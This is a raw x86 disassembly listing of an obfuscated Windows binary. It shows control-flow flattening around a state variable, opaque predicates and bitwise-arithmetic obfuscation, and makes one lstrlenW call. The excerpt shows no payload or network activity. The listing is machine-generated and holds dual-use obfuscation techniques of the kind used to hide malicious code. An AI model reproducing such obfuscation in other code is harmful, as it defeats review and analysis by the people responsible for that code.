mov dword [ebp - 0x48b60], ebx
mov ebx, edi
and ebx, 0xd78b6cbe
and eax, esi
mov dword [ebp - 0x48b5c], eax
mov eax, dword [ebp - 0x48b60]
or ecx, eax
mov eax, dword [ebp - 0x48b5c]
or ebx, eax
mov eax, dword [ebp - 0x48b58]
xor ecx, ebx
or edx, edi
xor edx, 0xffffffff
or esi, 0xd78b6cbe
and edx, esi
or ecx, edx
mov edx, eax
xor edx, 0xffffffff
mov ebx, ecx
and ebx, edx
xor ecx, 0xffffffff
and eax, ecx
or ebx, eax
mov eax, 0xffffffff
xor eax, 0xd910a9c1
and eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xd910a9c1
or eax, ecx
xor eax, 0xffffffff
xor eax, 0x8a3a458f
and eax, 0x8a3a458f
mov dword [ebp - 0x48b54], eax
mov edi, 0xffffffff
xor edi, 0x8a3a458f
and edi, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x8a3a458f
or edi, eax
mov ecx, edi
xor ecx, 0xffffffff
xor ecx, 0xd910a9c1
and ecx, 0xd910a9c1
mov esi, 0xffffffff
xor esi, 0xffffffff
and esi, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xffffffff
or esi, eax
mov eax, 0xffffffff
xor eax, 0x8a3a458f
mov edx, esi
xor edx, eax
mov eax, dword [ebp - 0x48b54]
and edx, esi
mov dword [ebp - 0x48b44], edx
mov edx, 0xffffffff
xor edx, 0xffffffff
xor edi, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x6662be59
or edx, edi
or esi, 0x6662be59
xor edx, 0xffffffff
and edx, esi
mov dword [ebp - 0x48b40], edx
mov esi, eax
xor esi, 0xffffffff
mov dword [ebp - 0x48b48], esi
mov edi, ecx
xor edi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xcdd34f08
and esi, 0xcdd34f08
and eax, edx
mov dword [ebp - 0x48b50], eax
mov eax, edi
and eax, 0xcdd34f08
mov dword [ebp - 0x48b4c], eax
mov eax, dword [ebp - 0x48b50]
and ecx, edx
or esi, eax
mov eax, dword [ebp - 0x48b4c]
or eax, ecx
mov ecx, dword [ebp - 0x48b48]
xor esi, eax
mov eax, dword [ebp - 0x48b44]
or ecx, edi
mov edi, dword [ebp - 0x48b40]
xor ecx, 0xffffffff
or edx, 0xcdd34f08
and ecx, edx
or esi, ecx
mov edx, eax
xor edx, 0xffffffff
mov dword [ebp - 0x48b30], edx
xor edi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xd662607a
mov dword [ebp - 0x48b34], ecx
and edx, 0xd662607a
and eax, ecx
mov ecx, dword [ebp - 0x48b40]
mov dword [ebp - 0x48b3c], eax
mov eax, edi
and eax, 0xd662607a
mov dword [ebp - 0x48b38], eax
mov eax, dword [ebp - 0x48b34]
and ecx, eax
mov eax, dword [ebp - 0x48b3c]
or edx, eax
mov eax, dword [ebp - 0x48b38]
or eax, ecx
mov ecx, dword [ebp - 0x48b34]
xor edx, eax
mov eax, dword [ebp - 0x48b30]
or eax, edi
xor eax, 0xffffffff
or ecx, 0xd662607a
and eax, ecx
or edx, eax
mov edi, esi
xor edi, 0xffffffff
and edi, 0xd496d19c
mov ecx, 0xffffffff
xor ecx, 0xd496d19c
and esi, ecx
mov eax, edx
xor eax, 0xffffffff
and eax, 0xd496d19c
and edx, ecx
mov ecx, dword [ebp - 0x48b2c]
or edi, esi
or eax, edx
xor edi, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffffffff
and ecx, edx
or eax, ecx
mov dword [ebp - 0x48aec], eax
mov eax, ebx
xor eax, 0xffffffff
and eax, 0xaeb6435e
mov edx, 0xffffffff
xor edx, 0xaeb6435e
mov esi, ebx
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xaeb6435e
and edx, 0xffffffff
or eax, esi
or ecx, edx
xor eax, ecx
mov dword [ebp - 0x48af4], eax
mov edx, 0xffffffff
xor edx, 0x5671189e
and edx, 0xc640835c
mov esi, 0xffffffff
xor esi, 0xc640835c
mov ecx, esi
and ecx, 0x5671189e
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xc640835c
and esi, 0xffffffff
or edx, ecx
mov ecx, dword [ebp - 0x48aec]
or eax, esi
xor edx, eax
xor ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x5671189e
mov esi, 0xffffffff
xor esi, 0x795eda86
or ecx, eax
mov eax, dword [ebp - 0x48b2c]
or esi, 0x795eda86
xor ecx, 0xffffffff
and ecx, esi
mov dword [ebp - 0x48b28], ecx
xor eax, 0xffffffff
mov ecx, edx
xor ecx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x31233894
or eax, ecx
mov ecx, dword [ebp - 0x48af4]
or esi, 0x31233894
xor eax, 0xffffffff
and eax, esi
mov dword [ebp - 0x48b24], eax
xor ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x5671189e
mov esi, 0xffffffff
xor esi, 0x5fddc5e2
or ecx, eax
mov eax, dword [ebp - 0x48b28]
or esi, 0x5fddc5e2
xor ecx, 0xffffffff
and ecx, esi
mov dword [ebp - 0x48b10], ecx
mov ecx, edx
xor ecx, 0xffffffff
mov esi, ebx
xor esi, ecx
mov ecx, dword [ebp - 0x48b24]
and esi, ebx
mov dword [ebp - 0x48b0c], esi
mov esi, eax
xor esi, 0xffffffff
xor ecx, 0xffffffff
mov dword [ebp - 0x48b14], ecx
mov ecx, 0xffffffff
xor ecx, 0xba61121
mov dword [ebp - 0x48b18], ecx
mov ebx, esi
and ebx, 0xba61121
and eax, ecx
mov ecx, dword [ebp - 0x48b24]
mov dword [ebp - 0x48b20], eax
mov eax, dword [ebp - 0x48b14]
and eax, 0xba61121
mov dword [ebp - 0x48b1c], eax
mov eax, dword [ebp - 0x48b18]
and ecx, eax
mov eax, dword [ebp - 0x48b20]
or ebx, eax
mov eax, dword [ebp - 0x48b1c]
or eax, ecx
mov ecx, dword [ebp - 0x48b18]
xor ebx, eax
mov eax, dword [ebp - 0x48b14]
or esi, eax
mov eax, dword [ebp - 0x48b10]
xor esi, 0xffffffff
or ecx, 0xba61121
and esi, ecx
mov ecx, dword [ebp - 0x48b0c]
or ebx, esi
mov esi, eax
xor esi, 0xffffffff
mov dword [ebp - 0x48afc], esi
xor ecx, 0xffffffff
mov dword [ebp - 0x48b00], ecx
mov ecx, 0xffffffff
xor ecx, 0x3f38d6a9
mov dword [ebp - 0x48af8], ecx
and esi, 0x3f38d6a9
and eax, ecx
mov ecx, dword [ebp - 0x48b0c]
mov dword [ebp - 0x48b08], eax
mov eax, dword [ebp - 0x48b00]
and eax, 0x3f38d6a9
mov dword [ebp - 0x48b04], eax
mov eax, dword [ebp - 0x48af8]
and ecx, eax
mov eax, dword [ebp - 0x48b08]
or esi, eax
mov eax, dword [ebp - 0x48b04]
or eax, ecx
mov ecx, dword [ebp - 0x48b00]
xor esi, eax
mov eax, dword [ebp - 0x48afc]
or eax, ecx
mov ecx, dword [ebp - 0x48af8]
xor eax, 0xffffffff
or ecx, 0x3f38d6a9
and eax, ecx
mov ecx, dword [ebp - 0x48af4]
or esi, eax
mov dword [ebp - 0x48af0], esi
mov eax, ebx
xor eax, 0xffffffff
and esi, eax
mov eax, dword [ebp - 0x48af0]
xor eax, 0xffffffff
and ebx, eax
mov eax, dword [ebp - 0x48aec]
or esi, ebx
mov dword [ebp - 0x48ad8], esi
mov esi, eax
xor esi, 0xffffffff
mov dword [ebp - 0x48adc], esi
mov ebx, ecx
xor ebx, 0xffffffff
mov dword [ebp - 0x48ae0], ebx
mov ebx, 0xffffffff
xor ebx, 0x8d1ffb27
and esi, 0x8d1ffb27
and eax, ebx
mov dword [ebp - 0x48ae8], eax
mov eax, dword [ebp - 0x48ae0]
and eax, 0x8d1ffb27
mov dword [ebp - 0x48ae4], eax
mov eax, dword [ebp - 0x48ae8]
and ecx, ebx
or esi, eax
mov eax, dword [ebp - 0x48ae4]
or eax, ecx
mov ecx, dword [ebp - 0x48ae0]
xor esi, eax
mov eax, dword [ebp - 0x48adc]
or eax, ecx
mov ecx, dword [ebp - 0x48ad8]
xor eax, 0xffffffff
or ebx, 0x8d1ffb27
and eax, ebx
or esi, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0xffffffff
mov ebx, 0xffffffff
xor ebx, 0xffffffff
and esi, ebx
or eax, esi
mov esi, edx
and esi, 0x5671189e
xor edx, 0x5671189e
or esi, edx
xor esi, 0xffffffff
mov edx, eax
xor edx, esi
and edx, eax
mov eax, ecx
and eax, edx
xor ecx, edx
or eax, ecx
mov dword [ebp - 0x48aa8], eax
mov ecx, 0xffffffff
xor ecx, 0xd910a9c1
and ecx, 0x924f7062
mov edx, 0xffffffff
xor edx, 0x924f7062
mov esi, edx
and esi, 0xd910a9c1
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x924f7062
and edx, 0xffffffff
or ecx, esi
or eax, edx
xor ecx, eax
mov dword [ebp - 0x48ab4], ecx
mov eax, edi
xor eax, 0xffffffff
and eax, 0xe54b2473
mov esi, 0xffffffff
xor esi, 0xe54b2473
mov ebx, edi
and ebx, esi
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0xe54b2473
and esi, 0xffffffff
or eax, ebx
or edx, esi
xor eax, edx
mov dword [ebp - 0x48ac8], eax
mov esi, 0xffffffff
xor esi, 0x779bc2b9
and esi, 0x9d887a99
mov edx, 0xffffffff
xor edx, 0x9d887a99
mov ebx, edx
and ebx, 0x779bc2b9
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x9d887a99
and edx, 0xffffffff
or esi, ebx
or eax, edx
xor esi, eax
mov edx, 0xffffffff
xor edx, 0x779bc2b9
mov eax, ecx
xor eax, edx
and eax, ecx
mov ecx, 0xffffffff
xor ecx, 0xd910a9c1
mov ebx, esi
xor ebx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xcdeebcab
or ecx, ebx
mov ebx, dword [ebp - 0x48ac8]
or edx, 0xcdeebcab
xor ecx, 0xffffffff
and ecx, edx
mov dword [ebp - 0x48ad4], ecx
mov ecx, 0xffffffff
xor ecx, 0x779bc2b9
mov edx, ebx
xor edx, ecx
mov ecx, dword [ebp - 0x48ad4]
and edx, ebx
mov dword [ebp - 0x48abc], edx
mov ebx, esi
xor ebx, 0xffffffff
mov edx, edi
xor edx, ebx
and edx, edi
mov ebx, eax
xor ebx, 0xffffffff
xor ecx, 0xffffffff
mov dword [ebp - 0x48ac4], ecx
mov ecx, 0xffffffff
xor ecx, 0xf2ed185c
mov dword [ebp - 0x48ac0], ecx
mov edi, ebx
and edi, 0xf2ed185c
and eax, ecx
mov ecx, dword [ebp - 0x48ad4]
mov dword [ebp - 0x48ad0], eax
mov eax, dword [ebp - 0x48ac4]
and eax, 0xf2ed185c
mov dword [ebp - 0x48acc], eax
mov eax, dword [ebp - 0x48ac0]
and ecx, eax
mov eax, dword [ebp - 0x48ad0]
or edi, eax
mov eax, dword [ebp - 0x48acc]
or eax, ecx
mov ecx, dword [ebp - 0x48ac8]
xor edi, eax
mov eax, dword [ebp - 0x48ac4]
or ebx, eax
mov eax, dword [ebp - 0x48ac0]
xor ebx, 0xffffffff
or eax, 0xf2ed185c
and ebx, eax
mov eax, dword [ebp - 0x48abc]
or edi, ebx
mov ebx, eax
and ebx, edx
xor eax, edx
or ebx, eax
mov edx, edi
xor edx, 0xffffffff
and edx, 0xadd10231
mov eax, 0xffffffff
xor eax, 0xadd10231
and edi, eax
mov dword [ebp - 0x48ab8], edi
mov edi, ebx
xor edi, 0xffffffff
and edi, 0xadd10231
and ebx, eax
mov eax, dword [ebp - 0x48ab8]
or edx, eax
mov eax, dword [ebp - 0x48ab4]
or edi, ebx
xor edx, edi
mov dword [ebp - 0x48aa0], edx
mov edx, eax
xor edx, 0xffffffff
mov edi, ecx
xor edi, 0xffffffff
mov dword [ebp - 0x48aa4], edi
mov ebx, 0xffffffff
xor ebx, 0xcbdc7e31
mov edi, edx
and edi, 0xcbdc7e31
and eax, ebx
mov dword [ebp - 0x48ab0], eax
mov eax, dword [ebp - 0x48aa4]
and eax, 0xcbdc7e31
mov dword [ebp - 0x48aac], eax
mov eax, dword [ebp - 0x48ab0]
and ecx, ebx
or edi, eax
mov eax, dword [ebp - 0x48aac]
or eax, ecx
mov ecx, dword [ebp - 0x48aa8]
xor edi, eax
mov eax, dword [ebp - 0x48aa4]
or edx, eax
mov eax, dword [ebp - 0x48aa0]
xor edx, 0xffffffff
or ebx, 0xcbdc7e31
and edx, ebx
or edi, edx
mov edx, edi
xor edx, 0xffffffff
and edx, 0xffffffff
mov ebx, 0xffffffff
xor ebx, 0xffffffff
and edi, ebx
or edx, edi
mov edi, esi
and edi, 0x779bc2b9
xor esi, 0x779bc2b9
or edi, esi
xor edx, 0xffffffff
xor edi, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x4fbd0b4e
or edx, edi
or esi, 0x4fbd0b4e
xor edx, 0xffffffff
and edx, esi
mov edi, eax
and edi, edx
xor eax, edx
or edi, eax
mov ebx, ecx
xor ebx, 0xffffffff
and ebx, 0x66f75405
mov edx, 0xffffffff
xor edx, 0x66f75405
mov esi, ecx
and esi, edx
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x66f75405
and edx, 0xffffffff
or ebx, esi
or eax, edx
xor ebx, eax
xor ebx, 0xffffffff
xor ebx, 0xffffffff
and ebx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xffffffff
or edx, eax
xor edx, 0xffffffff
mov eax, ecx
xor eax, edx
and eax, ecx
mov edx, ebx
xor edx, 0xffffffff
mov dword [ebp - 0x48a94], edx
mov esi, eax
xor esi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xefd4a350
and edx, 0xefd4a350
and ebx, ecx
mov dword [ebp - 0x48a9c], ebx
mov ebx, esi
and ebx, 0xefd4a350
and eax, ecx
mov dword [ebp - 0x48a98], eax
mov eax, dword [ebp - 0x48a9c]
or edx, eax
mov eax, dword [ebp - 0x48a98]
or ebx, eax
mov eax, dword [ebp - 0x48a94]
xor edx, ebx
or eax, esi
xor eax, 0xffffffff
or ecx, 0xefd4a350
and eax, ecx
or edx, eax
mov esi, edi
xor esi, 0xffffffff
and esi, 0xc4fde826
mov ecx, 0xffffffff
xor ecx, 0xc4fde826
and edi, ecx
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xc4fde826
and ecx, 0xffffffff
or esi, edi
or eax, ecx
xor esi, eax
mov eax, edx
xor eax, 0xffffffff
and eax, 0x214eeadd
mov ebx, 0xffffffff
xor ebx, 0x214eeadd
mov edi, edx
and edi, ebx
mov ecx, esi
xor ecx, 0xffffffff
and ecx, 0x214eeadd
and esi, ebx
or eax, edi
or ecx, esi
xor eax, ecx
xor eax, 0xffffffff
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xbdecb77
or eax, edx
or ecx, 0xbdecb77
xor eax, 0xffffffff
and eax, ecx
mov dword [ebp - 0x484a4], eax
mov dword [ebp - 0x485ec], 0x833eae03
jmp 0x41eecc
mov edx, dword [ebp - 0x484a4]
mov eax, 0xa399f30f
mov ecx, 0x31b52e76
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x485ec], eax
jmp 0x41eecc
mov eax, dword [ebp - 0x48580]
mov eax, dword [eax]
mov dword [ebp - 0x484a0], eax
mov ecx, dword [0x50d548]
mov eax, dword [0x50d544]
xor edx, edx
sub edx, 0xe0788e4a
add edx, 0
xor esi, esi
sub esi, 1
add edx, esi
xor esi, esi
sub esi, 0xe0788e4a
sub edx, esi
xor esi, esi
sub esi, 0x6c5790f6
sub esi, edx
add esi, 0x6c5790f6
mov edx, ecx
sub edx, 0x65e610d9
sub edx, esi
add edx, 0x65e610d9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete ch
cmp eax, 0xa
setl bh
mov cl, bh
xor cl, 0xff
and cl, 0
mov dl, 1
xor dl, 0
mov ah, bh
and ah, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, ah
or al, dl
xor cl, al
mov dl, ch
xor dl, 0xff
and dl, 0
mov dh, 1
xor dh, 0
mov ah, ch
and ah, dh
mov al, cl
xor al, 0xff
and al, 0
and cl, dh
or dl, ah
or al, cl
xor dl, al
xor dl, 0xff
mov cl, ch
xor cl, 0xff
mov al, 1
xor al, 0
or dl, cl
or al, 0
xor dl, 0xff
and dl, al
mov cl, ch
xor cl, 0xff
and cl, 0
mov ah, 1
xor ah, 0
mov dh, ch
and dh, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or cl, dh
or al, ah
xor cl, al
mov ah, 1
xor ah, 0
xor cl, 0xff
mov al, 1
xor al, 0
or ah, cl
or al, 0
xor ah, 0xff
and ah, al
mov dh, 1
xor dh, 0
and dh, 1
mov cl, 1
xor cl, 1
mov bl, cl
and bl, 0
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dh, bl
or al, cl
xor dh, al
xor ch, 0xff
mov cl, dh
xor cl, 0xff
mov al, 1
xor al, 1
or ch, cl
or al, 1
xor ch, 0xff
and ch, al
mov cl, bh
xor cl, 0xff
and cl, 1
mov bl, 1
xor bl, 1
mov al, bh
and al, bl
mov byte [ebp - 0x48b7c], al
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0x48b7b], al
mov al, byte [ebp - 0x48b7c]
and bl, 1
or cl, al
mov al, byte [ebp - 0x48b7b]
or al, bl
xor cl, al
mov bl, 1
xor bl, 0
mov al, cl
xor al, bl
and al, cl
xor bh, 0xff
xor dh, 0xff
mov cl, 1
xor cl, 0
or bh, dh
or cl, 0
xor bh, 0xff
and bh, cl
mov cl, ah
and cl, ch
xor ah, ch
or cl, ah
mov byte [ebp - 0x48b7a], cl
mov ah, al
xor ah, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov cl, ah
and cl, 0xff
and al, ch
mov bl, dh
and bl, 0xff
and bh, ch
or cl, al
mov al, byte [ebp - 0x48b7a]
or bl, bh
xor cl, bl
or ah, dh
xor ah, 0xff
or ch, 1
and ah, ch
or cl, ah
mov ch, al
xor ch, 0xff
mov ah, cl
and ah, ch
xor cl, 0xff
and al, cl
or ah, al
mov al, dl
xor al, 0xff
mov ch, ah
xor ch, 0xff
mov cl, 1
xor cl, 0
or al, ch
or cl, 0
xor al, 0xff
and al, cl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdd745a70
mov ecx, 0xa45e367a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x485ec], eax
jmp 0x41eecc
mov dword [ebp - 0x485ec], 0x79a565ef
jmp 0x41eecc
mov eax, dword [ebp - 0x48584]
mov dword [eax], 4
mov dword [ebp - 0x485ec], 0x40e233ff
jmp 0x41eecc
mov eax, dword [ebp - 0x48580]
mov eax, dword [eax]
mov dword [ebp - 0x4849c], eax
mov dword [ebp - 0x485ec], 0x17802184
jmp 0x41eecc
mov eax, dword [0x50d548]
mov ecx, dword [0x50d544]
xor edx, edx
sub edx, 0x733a1e52
add edx, 0
xor esi, esi
sub esi, edx
mov edx, eax
sub edx, esi
add edx, 0x7cc2267
add edx, 0x9361eb49
sub edx, 0x7cc2267
xor esi, esi
sub esi, 1
add edx, esi
sub edx, 0x1014fbad
sub edx, 0x9361eb49
add edx, 0x1014fbad
sub edx, 0x8a5d6962
add edx, 0x9d6c5952
add edx, 0x8a5d6962
add edx, 0x727a9aa7
add edx, 0x733a1e52
sub edx, 0x727a9aa7
xor esi, esi
sub esi, 0x9d6c5952
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete ah
cmp ecx, 0xa
setl cl
mov ch, ah
xor ch, 0xff
and ch, 0
mov dl, 1
xor dl, 0
mov dh, ah
and dh, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or ch, dh
or al, dl
xor ch, al
mov dh, cl
xor dh, 0xff
and dh, 1
mov dl, 1
xor dl, 1
mov bl, cl
and bl, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or dh, bl
or al, dl
xor dh, al
mov al, 1
xor al, 0
and al, 1
mov dl, 1
xor dl, 1
and dl, 0
or al, dl
mov dl, ch
and dl, dh
xor ch, dh
or dl, ch
mov ch, al
and ch, 0
xor al, 0
or ch, al
mov al, dl
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
and dl, dh
or al, dl
xor ch, 0xff
mov dl, al
xor dl, ch
and dl, al
mov dh, ah
xor dh, 0xff
and dh, 1
mov ch, 1
xor ch, 1
mov al, ah
and al, ch
or dh, al
mov al, cl
xor al, 0xff
xor dh, 0xff
mov ch, 1
xor ch, 1
or al, dh
or ch, 1
xor al, 0xff
and al, ch
mov ch, cl
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
and cl, dh
or ch, cl
xor ah, 0xff
xor ch, 0xff
mov cl, 1
xor cl, 1
or ah, ch
or cl, 1
xor ah, 0xff
and ah, cl
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov bl, dl
xor bl, 0xff
mov ah, cl
xor ah, 0xff
mov al, 1
xor al, 1
or bl, ah
or al, 1
xor bl, 0xff
and bl, al
mov dh, dl
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
and dl, ah
mov al, cl
xor al, 0xff
and al, 0xff
and cl, ah
or dh, dl
or al, cl
xor dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe73eea3e
mov ecx, 0x20786da0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x485ec], eax
jmp 0x41eecc
mov dl, byte [ebp - 0x4848d]
mov eax, 0x553413a
mov ecx, 0x7ce5e50b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x485ec], eax
jmp 0x41eecc
mov dword [ebp - 0x485ec], 0x553413a
jmp 0x41eecc
mov dword [ebp - 0x485ec], 0x3eccfb0d
jmp 0x41eecc
mov eax, dword [ebp - 0x48588]
mov ecx, dword [ebp - 0x48484]
mov dword [eax], ecx
mov dword [ebp - 0x485ec], 0xf334c968
jmp 0x41eecc
mov eax, dword [ebp - 0x48570]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x48564]
mov edx, dword [ecx]
mov dword [eax], edx
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 0x4856c]
mov eax, dword [ebp - 0x48570]
mov eax, dword [eax]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0x4856c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov dword [ebp - 0x4847c], eax
mov dword [ebp - 0x485ec], 0xe2941fb7
jmp 0x41eecc
mov ecx, dword [0x50d548]
mov eax, dword [0x50d544]
mov edx, 0x40943e88
add edx, 0
sub edx, 0x17fa09b2
sub edx, 0x40943e88
xor esi, esi
sub esi, 1
add edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x17fa09b2
add esi, edx
xor edx, edx
sub edx, esi
mov esi, 0x1f05555d
add esi, 0
sub esi, edx
sub esi, 0x1f05555d
mov edx, ecx
add edx, 0x7151992c
sub edx, esi
sub edx, 0x7151992c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
mov byte [ebp - 0x48e8c], cl
cmp eax, 0xa
setl al
mov byte [ebp - 0x48e84], al
mov al, cl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov dl, cl
and dl, ah
or al, dl
xor al, 0xff
xor al, 0
and al, 0
mov dl, 1
xor dl, 0
and dl, 0
mov ch, 1
xor ch, 0
mov dh, ch
and dh, 0
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or dl, dh
or ah, ch
xor dl, ah
mov ah, dl
xor ah, 0xff
mov dh, cl
xor dh, ah
and dh, cl
mov cl, 1
xor cl, 1
and cl, 1
mov ah, 1
xor ah, 1
and ah, 1
or cl, ah
xor cl, 0xff
mov ch, 1
xor ch, 0
mov ah, 1
xor ah, 1
or cl, ch
or ah, 1
xor cl, 0xff
and cl, ah
mov byte [ebp - 0x48e8d], cl
mov ah, 1
xor ah, 1
xor dl, 0xff
mov cl, 1
xor cl, 1
or ah, dl
or cl, 1
xor ah, 0xff
and ah, cl
mov cl, al
xor cl, 0xff
mov bl, dh
xor bl, 0xff
mov ch, 1
xor ch, 1
mov dl, cl
and dl, 0xff
and al, ch
mov bh, bl
and bh, 0xff
and dh, ch
or dl, al
mov al, byte [ebp - 0x48e8d]
or bh, dh
mov dh, byte [ebp - 0x48e84]
xor dl, bh
or cl, bl
xor cl, 0xff
or ch, 1
and cl, ch
or dl, cl
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov bl, dl
xor bl, 0xff
and bl, 0
mov ah, 1
xor ah, 0
and dl, ah
mov al, cl
xor al, 0xff
and al, 0
and cl, ah
or bl, dl
or al, cl
xor bl, al
mov bh, dh
xor bh, 0xff
and bh, 1
mov cl, 1
xor cl, 1
mov al, dh
and al, cl
or bh, al
xor bh, 0xff
xor bh, 1
and bh, 0xff
mov cl, 1
xor cl, 1
and cl, 1
mov al, 1
xor al, 1
and al, 1
or cl, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or dh, cl
or al, 1
xor dh, 0xff
and dh, al
mov cl, bh
xor cl, 0xff
mov ah, dh
xor ah, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and bh, dl
mov ch, ah
and ch, 0
and dh, dl
or al, bh
or ch, dh
xor al, ch
or cl, ah
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
mov byte [ebp - 0x48e6e], al
mov al, 1
xor al, 0
and al, 1
mov dl, 1
xor dl, 1
mov ah, dl
and ah, 0
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or al, ah
or cl, dl
xor al, cl
xor al, 0xff
xor al, 1
and al, 0xff
mov dl, 1
xor dl, 1
and dl, 1
mov cl, 1
xor cl, 1
and cl, 1
or dl, cl
mov bh, 1
xor bh, 0
xor dl, 0xff
mov cl, 1
xor cl, 1
or bh, dl
or cl, 1
xor bh, 0xff
and bh, cl
mov dl, al
xor dl, 0xff
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
mov cl, dl
and cl, 0xff
and al, ah
mov dh, ch
and dh, 0xff
and bh, ah
or cl, al
mov al, byte [ebp - 0x48e8c]
or dh, bh
xor cl, dh
or dl, ch
xor dl, 0xff
or ah, 1
and dl, ah
or cl, dl
mov byte [ebp - 0x48e63], cl
mov ah, 1
xor ah, 0
and ah, 1
mov ch, 1
xor ch, 1
mov dh, ch
and dh, 0
mov dl, 1
xor dl, 1
and dl, 0xff
and ch, 1
or ah, dh
or dl, ch
xor ah, dl
mov dl, bl
xor dl, 0xff
mov ch, ah
and ch, dl
xor ah, 0xff
mov dl, bl
and dl, ah
or ch, dl
xor ch, 0xff
mov ah, bl
xor ah, 0xff
mov dl, 1
xor dl, 0
or ch, ah
or dl, 0
xor ch, 0xff
and ch, dl
mov bh, al
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
and al, dl
or bh, al
mov al, cl
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and cl, dl
or al, cl
mov cl, 1
xor cl, 1
and cl, 0
mov ah, 1
xor ah, 0
mov dh, ah
and dh, 1
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or cl, dh
or dl, ah
xor cl, dl
mov byte [ebp - 0x48e89], cl
mov cl, bh
xor cl, 0xff
mov dh, al
xor dh, 0xff
mov ah, 1
xor ah, 0
mov dl, cl
and dl, 0
and bh, ah
mov byte [ebp - 0x48e8b], bh
mov bh, dh
and bh, 0
and al, ah
mov byte [ebp - 0x48e8a], al
mov al, byte [ebp - 0x48e8b]
or dl, al
mov al, byte [ebp - 0x48e8a]
or bh, al
mov al, byte [ebp - 0x48e89]
xor dl, bh
or cl, dh
xor cl, 0xff
or ah, 0
and cl, ah
or dl, cl
mov ah, 1
xor ah, 1
mov byte [ebp - 0x48e86], ah
mov bh, al
xor bh, 0xff
mov dh, 1
xor dh, 1
and ah, 0xff
mov cl, dh
and cl, 1
mov byte [ebp - 0x48e88], cl
mov cl, bh
and cl, 0xff
and al, dh
mov byte [ebp - 0x48e87], al
mov al, byte [ebp - 0x48e88]
or ah, al
mov al, byte [ebp - 0x48e87]
or cl, al
mov al, byte [ebp - 0x48e86]
xor ah, cl
mov cl, byte [ebp - 0x48e6e]
or al, bh
xor al, 0xff
or dh, 1
and al, dh
or ah, al
mov al, dl
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
and dl, dh
or al, dl
xor ah, 0xff
mov dl, al
xor dl, ah
and dl, al
mov bh, 1
xor bh, 0
and bh, 0
mov ah, 1
xor ah, 0
mov dh, ah
and dh, 0
mov al, 1
xor al, 1
and al, 0
and ah, 1
or bh, dh
or al, ah
xor bh, al
mov dh, cl
xor dh, 0xff
and dh, 0
mov ah, 1
xor ah, 0
and cl, ah
mov al, bh
xor al, 0xff
and al, 0
and bh, ah
mov ah, byte [ebp - 0x48e6e]
or dh, cl
mov cl, byte [ebp - 0x48e63]
or al, bh
xor dh, al
